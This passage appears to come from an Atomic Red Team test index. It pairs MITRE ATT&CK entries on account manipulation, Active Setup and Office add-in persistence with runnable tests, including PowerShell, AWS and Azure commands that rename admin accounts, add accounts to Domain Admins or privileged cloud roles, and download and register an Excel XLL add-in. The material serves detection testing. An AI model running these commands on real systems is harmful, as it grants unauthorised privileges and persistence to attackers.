      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Praetorian
      - Tim MalcomVetter
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Group: Group Modification'
      - 'User Account: User Account Modification'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_detection: |-
        Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)

        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.

        Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      identifier: T1098
    atomic_tests:
    - name: Admin Account Manipulate
      auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af
      description: 'Manipulate Admin Account Name

'
      supported_platforms:
      - windows
      executor:
        command: |
          $x = Get-Random -Minimum 2 -Maximum 9999
          $y = Get-Random -Minimum 2 -Maximum 9999
          $z = Get-Random -Minimum 2 -Maximum 9999
          $w = Get-Random -Minimum 2 -Maximum 9999
          Write-Host HaHa_$x$y$z

          $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

          foreach($member in $fmm) {
              if($member -like "*Administrator*") {
                  $account = $member.Name -replace ".+\\\","" # strip computername\
                  $originalDescription = (Get-LocalUser -Name $account).Description
                  Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
                  Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
                  Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
                  }
              }
        cleanup_command: |
          $list = Get-LocalUser |?{$_.Description -like "atr:*"}
          foreach($u in $list) {
            $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
            Set-LocalUser -Name $u.Name -Description $Matches.Description
            Rename-LocalUser -Name $u.Name -NewName $Matches.Name
            Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
          }
        name: powershell
        elevation_required: true
    - name: Domain Account and Group Manipulate
      auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9
      description: "Create a random atr-nnnnnnnn account and add it to a domain group
        (by default, Domain Admins). \n\nThe quickest way to run it is against a domain
        controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need
        to install PS Module ActiveDirectory (in prereqs) and run the script with
        appropriare AD privileges to \ncreate the user and alter the group. Automatic
        installation of the dependency requires an elevated session, \nand is unlikely
        to work with Powershell Core (untested).\n\nIf you consider running this test
        against a production Active Directory, the good practise is to create a dedicated\nservice
        account whose delegation is given onto a dedicated OU for user creation and
        deletion, as well as delegated\nas group manager of the target group.\n\nExample:
        `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and
        Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n"
      supported_platforms:
      - windows
      input_arguments:
        account_prefix:
          description: |
            Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on
            a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful.
          type: String
          default: atr-
        group:
          description: Name of the group to alter
          type: String
          default: Domain Admins
        create_args:
          description: Additional string appended to New-ADUser call
          type: String
          default: ''
      dependencies:
      - description: 'PS Module ActiveDirectory

'
        prereq_command: "Try {\n    Import-Module ActiveDirectory -ErrorAction Stop
          | Out-Null\n    exit 0\n} \nCatch {\n    exit 1\n}\n"
        get_prereq_command: |
          if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
            Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
          } else {
            Install-WindowsFeature RSAT-AD-PowerShell
          }
      executor:
        command: |
          $x = Get-Random -Minimum 2 -Maximum 99
          $y = Get-Random -Minimum 2 -Maximum 99
          $z = Get-Random -Minimum 2 -Maximum 99
          $w = Get-Random -Minimum 2 -Maximum 99

          Import-Module ActiveDirectory
          $account = "#{account_prefix}-$x$y$z"
          New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
          Add-ADGroupMember "#{group}" $account
        cleanup_command: 'Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))"
          | Remove-ADUser -Confirm:$False

'
        name: powershell
    - name: AWS - Create a group and add a user to that group
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122
      description: 'Adversaries create AWS group, add users to specific to that group
        to elevate their privilieges to gain more accesss

'
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Name of the AWS group to create
          type: String
          default: atomicredteam
      dependencies:
      - description: 'Check if the user exists, we can only add a user to a group
          if the user exists.

'
        prereq_command: 'aws iam list-users | grep #{username}

'
        get_prereq_command: 'echo Please run atomic test T1136.003, before running
          this atomic test

'
      executor:
        command: |
          aws iam create-group --group-name #{username}
          aws iam add-user-to-group --user-name #{username} --group-name #{username}
        cleanup_command: |
          aws iam remove-user-from-group --user-name #{username} --group-name #{username}
          aws iam delete-group --group-name #{username}
        name: sh
    - name: Azure - adding user to Azure AD role
      auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261
      description: "The adversarie want to add user to some Azure AD role. Threat
        actor \nmay be interested primarily in highly privileged roles, e.g. Global
        Administrator, Application Administrator, \nPrivileged authentication administrator
        (this role can reset Global Administrator password!).\nBy default, the role
        Global Reader is assigned to service principal in this test.\n\nThe account
        you use to run the PowerShell command should have Privileged Role Administrator
        or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity
        \"Add member to role\" in Azure AD Audit Logs. In targer you will also see
        User as a type.\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: String
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: String
          default: p4sswd
        user_principal_name:
          description: Name of the targeted user (user principal)
          type: String
          default: SuperUser
        role_name:
          description: Name of the targed Azure AD role
          type: String
          default: Global Reader
      dependencies:
      - description: 'AzureAD module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureAD -Force

'
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }
          Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
          Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore

          $user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId
          Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role"
        name: powershell
        elevation_required: false
    - name: Azure - adding service principal to Azure AD role
      auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4
      description: "The adversarie want to add service principal to some Azure AD
        role. Threat actor \nmay be interested primarily in highly privileged roles,
        e.g. Global Administrator, Application Administrator, \nPrivileged authentication
        administrator (this role can reset Global Administrator password!).\nBy default,
        the role Global Reader is assigned to service principal in this test.\n\nThe
        account you use to run the PowerShell command should have Privileged Role
        Administrator or Global Administrator role in your Azure AD.\n\nDetection
        hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer
        you will also see Service Principal as a type.\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: String
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: String
          default: p4sswd
        service_principal_name:
          description: Name of the service principal
          type: String
          default: SuperSP
        role_name:
          description: Name of the targed Azure AD role
          type: String
          default: Global Reader
      dependencies:
      - description: 'AzureAD module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureAD -Force

'
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }
          Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
          Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore

          $sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId
          Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role"
        name: powershell
        elevation_required: false
    - name: Azure - adding user to Azure role in subscription
      auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea
      description: "The adversarie want to add user to some Azure role, also called
        Azure resource role. Threat actor \nmay be interested primarily in highly
        privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is
        assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also
        use to assign user/service principal to resource, resource group and management
        group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write
        \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory
        Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection
        hint - check Operation Name \"Create role assignment\" in subscriptions Activity
        Logs.\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: String
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: String
          default: p4sswd
        user_principal_name:
          description: Name of the targeted user (user principal)
          type: String
          default: SuperUser
        role_name:
          description: Name of the targed Azure role
          type: String
          default: Reader
        subscription:
          description: Name of the targed subscription
          type: String
          default: Azure subscription 1
      dependencies:
      - description: 'Az.Resources module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name Az.Resources -Force

'
      executor:
        command: |
          Import-Module -Name Az.Resources
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzAccount -Credential $Credential

          $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
          if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
          $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
          Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzAccount -Credential $Credential -ErrorAction Ignore

          $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
          if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
          $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
          Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
        name: powershell
        elevation_required: false
    - name: Azure - adding service principal to Azure role in subscription
      auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404
      description: "The adversarie want to add service principal to some Azure role,
        also called Azure resource role. Threat actor \nmay be interested primarily
        in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role
        Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment
        cmdlet could be also use to assign user/service principal to resource, resource
        group and management group.\n\nThe account you use to run the PowerShell command
        must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User
        Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All
        \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint -
        check Operation Name \"Create role assignment\" in subscriptions Activity
        Logs.\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: String
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: String
          default: p4sswd
        service_principal_name:
          description: Name of the service principal
          type: String
          default: SuperSP
        role_name:
          description: Name of the targed Azure role
          type: String
          default: Reader
        subscription:
          description: Name of the targed subscription
          type: String
          default: Azure subscription 1
      dependencies:
      - description: 'Az.Resources module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name Az.Resources -Force

'
      executor:
        command: "Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString
          -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal
          | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp
          -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription
          = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif
          ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit
          }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif
          ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment
          -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host
          \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in
          subscriptions $($subscriptions.Name)\"\n"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction
          Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName
          -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service
          Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object
          {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning
          \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object
          {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role
          not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId
          $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal
          $($sp.DisplayName) was removed from $($role.Name) role in subscriptions
          $($subscriptions.Name)\"\n"
        name: powershell
        elevation_required: false
  T1547.014:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.014
        url: https://attack.mitre.org/techniques/T1547/014
      - source_name: Klein Active Setup 2010
        url: https://helgeklein.com/blog/2010/04/active-setup-explained/
        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
          December 18, 2020.
      - source_name: Mandiant Glyer APT 2010
        url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
        description: Glyer, C. (2010). Examples of Recent APT Persitence Mechanism.
          Retrieved December 18, 2020.
      - source_name: Citizenlab Packrat 2015
        url: https://citizenlab.ca/2015/12/packrat-report/
        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
          December 18, 2020.
      - source_name: FireEye CFR Watering Hole 2012
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
      - source_name: SECURELIST Bright Star 2015
        url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
          Spreading through the Bright Star?. Retrieved December 18, 2020.
      - source_name: paloalto Tropic Trooper 2016
        url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
          18, 2020.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Active Setup
      description: |-
        Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

        Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

        Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-03-05T22:36:37.414Z'
      created: '2020-12-18T16:33:13.098Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1098.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1098.003
        url: https://attack.mitre.org/techniques/T1098/003
      - source_name: Microsoft Support O365 Add Another Admin, October 2019
        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
      - source_name: Microsoft O365 Admin Roles
        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Add Office 365 Global Administrator Role
      description: "An adversary may add the Global Administrator role to an adversary-controlled
        account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft
        Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin
        Roles) With sufficient permissions, a compromised account can gain almost
        unlimited access to data and settings (including the ability to reset the
        passwords of other admins) via the global admin role.(Citation: Microsoft
        O365 Admin Roles) \n\nThis account modification may immediately follow [Create
        Account](https://attack.mitre.org/techniques/T1136) or other malicious account
        activity."
      id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T12:40:02.331Z'
      created: '2020-01-19T16:59:45.362Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Collect usage logs from cloud administrator accounts to
        identify unusual activity in the assignment of roles to those accounts. Monitor
        for accounts assigned to admin roles that go over a certain threshold of known
        admins. '
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_platforms:
      - Office 365
    atomic_tests: []
  T1137.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1137.006
        url: https://attack.mitre.org/techniques/T1137/006
      - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
        description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.
        source_name: Microsoft Office Add-ins
      - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
        description: Knowles, W. (2017, April 21). Add-In Opportunities for Office
          Persistence. Retrieved July 3, 2017.
        source_name: MRWLabs Office Persistence Add-ins
      - source_name: FireEye Mail CDS 2018
        url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
        description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail!
          Enterprise Email Compromise. Retrieved April 22, 2019.
      - source_name: GlobalDotName Jun 2019
        url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Add-ins
      description: "Adversaries may abuse Microsoft Office add-ins to obtain persistence
        on a compromised system. Office add-ins can be used to add functionality to
        Office programs. (Citation: Microsoft Office Add-ins) There are different
        types of add-ins that can be used by the various Office products; including
        Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object
        Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools
        for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office
        Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used
        to obtain persistence because they can be set to execute code when an Office
        application starts. "
      id: attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-26T17:34:02.877Z'
      created: '2019-11-07T19:52:52.801Z'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - Windows
      - Office 365
      identifier: T1137.006
    atomic_tests:
    - name: Code Executed Via Excel Add-in File (Xll)
      auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3
      description: "Downloads a XLL file and loads it using the excel add-ins library.\nThis
        causes excel to display the message \"Hello World\"\nSource of XLL - https://github.com/edparcell/HelloWorldXll
        \n"
      supported_platforms:
      - windows
      input_arguments:
        xll_url:
          description: url of the file HelloWorldXll.xll
          type: Url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/HelloWorldXll.xll
        local_file:
          description: name of the xll file
          type: Path
          default: "$env:tmp\\HelloWorldXll.xll"
      executor:
        name: powershell
        elevation_required: true
        command: 'powershell -c "iwr -URI ''#{xll_url}'' -o ''#{local_file}''; IEX
          ((new-object -ComObject excel.application).RegisterXLL(''$env:tmp\HelloWorldXll.xll''))"

'
  T1098.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1098.001
        url: https://attack.mitre.org/techniques/T1098/001
      - source_name: Microsoft SolarWinds Customer Guidance
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
      - source_name: Blue Cloud of Death
        url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
        description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
          Azure. Retrieved October 23, 2019.'
      - source_name: Blue Cloud of Death Video
        url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815
        description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming
          Azure. Retrieved November 21, 2019.'
      - source_name: Demystifying Azure AD Service Principals
        url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
        description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service
          Principals. Retrieved January 19, 2020.
      - source_name: GCP SSH Key Add
        url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
        description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved
          October 1, 2020.
      - source_name: Expel IO Evil in AWS
        url: https://expel.io/blog/finding-evil-in-aws/
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
      - source_name: Expel Behind the Scenes
        url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
        description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020,
          July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved
          October 1, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Additional Cloud Credentials
      description: |-
        Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

